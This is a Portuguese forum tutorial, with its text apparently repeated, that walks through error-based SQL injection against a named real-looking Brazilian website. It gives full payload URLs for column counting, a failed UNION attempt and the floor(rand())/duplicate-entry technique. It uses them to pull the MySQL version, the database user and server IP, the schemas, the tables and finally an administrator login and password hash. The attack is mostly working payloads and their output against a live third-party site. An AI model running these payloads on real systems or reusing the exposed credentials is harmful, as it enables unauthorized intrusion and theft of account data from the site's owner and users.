SQL Injection baseada em erros no MySQL
Olá.
Vamos ver aqui como obter dados de um website vulnerável a SQL Injection, mesmo quando, por algum motivo (como filtros, ou a própria query) o UNION não estiver funcionando.
Você provavelmente descobrirá quando uma injeção baseada em erros for necessária quando não encontrar de forma alguma a quantidade de colunas selecionadas, ou lhe parecer não existir nem mesmo a primeira coluna.
Já deve saber que, para seguir esse tutorial, uma base de SQL e práticas com outros métodos de SQL Injection são necessárias.
Encontramos o seguinte website vulnerável (Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...):
Vamos fazer alguns testes para verificar a vulnerabilidade:
Como no primeiro teste a página não abriu (afinal, 1 != 0), e no segundo teste ela abriu corretamente (afinal, 1 = 1), há grandes chances de estarmos lidando com um website vulnerável.
Vamos agora descobrir o número de colunas presentes na tabela atualmente utilizada.
Como o valor máximo que conseguimos ordenar e exibir a página corretamente foi o 2 (note que, a partir do 3, a página não é exibida), dizemos que a tabela atual do MySQL pode ter 2 colunas.
Com isso, vamos montar a seleção UNION.
Hm... merda!
É, não adianta. Podemos ficar pra sempre aumentando a quantidade de colunas, mas sempre teremos o mesmo erro:
É, amigos. Se trata de de um caso de SQLi baseado em erros. Não temos para onde fugir.
Vamos então montar o nosso payload. É o responsável por tentar fazer uma conversão não permitida entre tipos de dados, causando um erro na consulta. Ele costuma ser genérico.
Neste caso, trocaríamos o "QUERY" pela consulta SQL que queremos obter. Vale ressaltar que a mesma pode retornar apenas 1 linha por vez. Vamos começar obtendo a versão do MySQL?
A resposta que obtivemos foi:
Ok, para obter o usuário e o banco de dados atual, não muda muito:
Certo. Agora vamos começar a obter os bancos de dados do servidor.
Daqui para frente não será mais problema, se você já estiver familiarizado com a linguagem SQL. Já que explico bastante sobre a base information_schemas em outros tutoriais de minha autoria, vou dispensar tais explicações neste tutorial.
Vamos alterando o LIMIT n,1, aumentando o "n" para obter todas as bases de dados no servidor.
Note que, ao tentarmos LIMIT 2,1 (o terceiro resultado, já que a contagem inicia-se no 0), nos é retornado apenas um "1". Isso significa que não há mais bases de dados para mostrar.
Próximo passo é obter as tabelas do banco de dados "rmuell_rmueller_com_br". Também não é problema. Utilizei Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... para converter o nome do banco de dados para hexadecimal.
Alterando o LIMIT 0,1 para LIMIT 1,1, LIMIT 2,1, LIMIT 3,1... até o LIMIT 16,1, teremos as seguintes tabelas:
Note que, a partir do LIMIT 17,1, nós é retornado apenas o número 1. Essa é nossa deixa para ir para o próximo passo.
Por dedução, dizemos que a tabela "t_user" é a que possui os dados de login que queremos. Vamos, portanto, obter as colunas da mesma. O nome da tabela também deve ser convertido para hexadecimal.
E...
Até obter o resultado "1". Isso significa que já podemos obter os dados dessa tabela.
Utilizando-se novamente do poder de dedução que todo hacker possui, vamos obter os dados das colunas "user_login" e "user_pass".
Novamente, sem mistério. Mas não trabalharemos mais com information_schema na query secundária.
Alterando-se o LIMIT n,1, teremos acesso aos dados dos outros administradores, se houverem.
Bom, chegamos ao fim do tutorial. Espero que tenham entendido.
Até a próxima!
Olá.
Vamos ver aqui como obter dados de um website vulnerável a SQL Injection, mesmo quando, por algum motivo (como filtros, ou a própria query) o UNION não estiver funcionando.
Você provavelmente descobrirá quando uma injeção baseada em erros for necessária quando não encontrar de forma alguma a quantidade de colunas selecionadas, ou lhe parecer não existir nem mesmo a primeira coluna.
Já deve saber que, para seguir esse tutorial, uma base de SQL e práticas com outros métodos de SQL Injection são necessárias.
Encontramos o seguinte website vulnerável (Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...):
Código:
http://www.rmueller.com.br/projeto2.php?cod=9
Código:
http://www.rmueller.com.br/projeto2.php?cod=9 and 1=0--+ http://www.rmueller.com.br/projeto2.php?cod=9 and 1=1--+
Vamos agora descobrir o número de colunas presentes na tabela atualmente utilizada.
Código:
http://www.rmueller.com.br/projeto2.php?cod=9 order by 1--+ http://www.rmueller.com.br/projeto2.php?cod=9 order by 100--+ http://www.rmueller.com.br/projeto2.php?cod=9 order by 10--+ http://www.rmueller.com.br/projeto2.php?cod=9 order by 5--+ http://www.rmueller.com.br/projeto2.php?cod=9 order by 3--+ http://www.rmueller.com.br/projeto2.php?cod=9 order by 2--+
Com isso, vamos montar a seleção UNION.
Código:
http://www.rmueller.com.br/projeto2.php?cod=9 UNION ALL SELECT 1,2--+
Código:
http://www.rmueller.com.br/projeto2.php?cod=9 UNION ALL SELECT 1--+ http://www.rmueller.com.br/projeto2.php?cod=9 UNION ALL SELECT 1,2,3--+ http://www.rmueller.com.br/projeto2.php?cod=9 UNION ALL SELECT 1,2,3,4--+
[i]"The used SELECT statements have a different number of columns"[i]
~~ MySQL
É, amigos. Se trata de de um caso de SQLi baseado em erros. Não temos para onde fugir.
Vamos então montar o nosso payload. É o responsável por tentar fazer uma conversão não permitida entre tipos de dados, causando um erro na consulta. Ele costuma ser genérico.
=1 or 1 group by concat_ws(0x3a,(QUERY),floor(rand(0)*2)) having min(0) or 1--+
Neste caso, trocaríamos o "QUERY" pela consulta SQL que queremos obter. Vale ressaltar que a mesma pode retornar apenas 1 linha por vez. Vamos começar obtendo a versão do MySQL?
Código:
http://www.rmueller.com.br/projeto2.php?cod=1 or 1 group by concat_ws(0x3a,(SELECT version()),floor(rand(0)*2)) having min(0) or 1--+
Duplicate entry '5.5.28:1' for key 'group_key'
Veja, que lindo, nosso resultado bem ali. A versão do MySQL é... 5.5.28!Ok, para obter o usuário e o banco de dados atual, não muda muito:
Código:
http://www.rmueller.com.br/projeto2.php?cod=1 or 1 group by concat_ws(0x3a,(SELECT user()),floor(rand(0)*2)) having min(0) or 1--+
Duplicate entry 'rmuellerco937182@69.49.112.28:1' for key 'group_key'
Código:
http://www.rmueller.com.br/projeto2.php?cod=1 or 1 group by concat_ws(0x3a,(SELECT database()),floor(rand(0)*2)) having min(0) or 1--+
Duplicate entry 'rmuell_rmueller_com_br:1' for key 'group_key'
Certo. Agora vamos começar a obter os bancos de dados do servidor.
Daqui para frente não será mais problema, se você já estiver familiarizado com a linguagem SQL. Já que explico bastante sobre a base information_schemas em outros tutoriais de minha autoria, vou dispensar tais explicações neste tutorial.
Vamos alterando o LIMIT n,1, aumentando o "n" para obter todas as bases de dados no servidor.
Código:
http://www.rmueller.com.br/projeto2.php?cod=1 or 1 group by concat_ws(0x3a,(SELECT group_concat(schema_name) FROM information_schema.schemata limit 0,1),floor(rand(0)*2)) having min(0) or 1--+
Duplicate entry 'information_schema:1' for key 'group_key'
Código:
http://www.rmueller.com.br/projeto2.php?cod=1 or 1 group by concat_ws(0x3a,(SELECT group_concat(schema_name) FROM information_schema.schemata limit 1,1),floor(rand(0)*2)) having min(0) or 1--+
Duplicate entry 'rmuell_rmueller_com_br:1' for key 'group_key'
Código:
http://www.rmueller.com.br/projeto2.php?cod=1 or 1 group by concat_ws(0x3a,(SELECT group_concat(schema_name) FROM information_schema.schemata limit 2,1),floor(rand(0)*2)) having min(0) or 1--+
Duplicate entry '1' for key 'group_key'
Note que, ao tentarmos LIMIT 2,1 (o terceiro resultado, já que a contagem inicia-se no 0), nos é retornado apenas um "1". Isso significa que não há mais bases de dados para mostrar.
Próximo passo é obter as tabelas do banco de dados "rmuell_rmueller_com_br". Também não é problema. Utilizei Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... para converter o nome do banco de dados para hexadecimal.
Código:
http://www.rmueller.com.br/projeto2.php?cod=1 or 1 group by concat_ws(0x3a,(SELECT table_name FROM information_schema.tables WHERE table_schema=0x726d75656c6c5f726d75656c6c65725f636f6d5f6272 limit 0,1),floor(rand(0)*2)) having min(0) or 1--+
Duplicate entry 'phpmv:1' for key 'group_key'
Alterando o LIMIT 0,1 para LIMIT 1,1, LIMIT 2,1, LIMIT 3,1... até o LIMIT 16,1, teremos as seguintes tabelas:
- phpmv
- phpmv_ajours
- phpmv_amois
- phpmv_asemaines
- phpmv_bdd_vars
- phpmv_pv
- phpmv_suivi
- t_gal_imagem
- t_galeria
- t_grupo_noticia
- t_grupo_projeto
- t_menu
- t_noticias
- t_permissoes
- t_proj_imagem
- t_projetos
- t_user
Note que, a partir do LIMIT 17,1, nós é retornado apenas o número 1. Essa é nossa deixa para ir para o próximo passo.
Por dedução, dizemos que a tabela "t_user" é a que possui os dados de login que queremos. Vamos, portanto, obter as colunas da mesma. O nome da tabela também deve ser convertido para hexadecimal.
Código:
http://www.rmueller.com.br/projeto2.php?cod=1 or 1 group by concat_ws(0x3a,(SELECT concat(user_login,0x3c3d3e,user_pass) FROM t_user limit 0,1),floor(rand(0)*2)) having min(0) or 1--+
Duplicate entry 'user_cod:1' for key 'group_key'
E...
- user_cod
- user_nome
- user_pass
- user_login
- user_avatar
Até obter o resultado "1". Isso significa que já podemos obter os dados dessa tabela.
Utilizando-se novamente do poder de dedução que todo hacker possui, vamos obter os dados das colunas "user_login" e "user_pass".
Novamente, sem mistério. Mas não trabalharemos mais com information_schema na query secundária.
Código:
http://www.rmueller.com.br/projeto2.php?cod=1 or 1 group by concat_ws(0x3a,(SELECT concat(user_login,0x3c3d3e,user_pass) FROM rmuell_rmueller_com_br.t_user LIMIT 0,1),floor(rand(0)*2)) having min(0) or 1--+
Duplicate entry 'hd<=>-1J5Isp9pYt32:1' for key 'group_key'
Os resultados que queremos estão separados por <=>. De um lado, o usuário, e, de outro, a senha (criptografada, com certeza).Alterando-se o LIMIT n,1, teremos acesso aos dados dos outros administradores, se houverem.
Bom, chegamos ao fim do tutorial. Espero que tenham entendido.
Até a próxima!
Comment